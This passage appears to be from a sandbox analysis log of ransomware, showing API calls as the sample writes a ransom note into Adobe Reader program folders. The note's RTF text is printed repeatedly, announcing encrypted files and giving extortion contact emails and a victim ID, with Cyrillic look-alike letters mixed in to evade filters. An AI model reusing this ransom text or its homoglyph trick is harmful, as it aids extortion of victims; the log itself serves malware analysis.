r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.493] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.494] CloseHandle (hObject=0x1d4) returned 1 [0040.495] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\!bwng_info!.rtf")) returned 0xffffffff [0040.495] GetLastError () returned 0x2 [0040.495] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 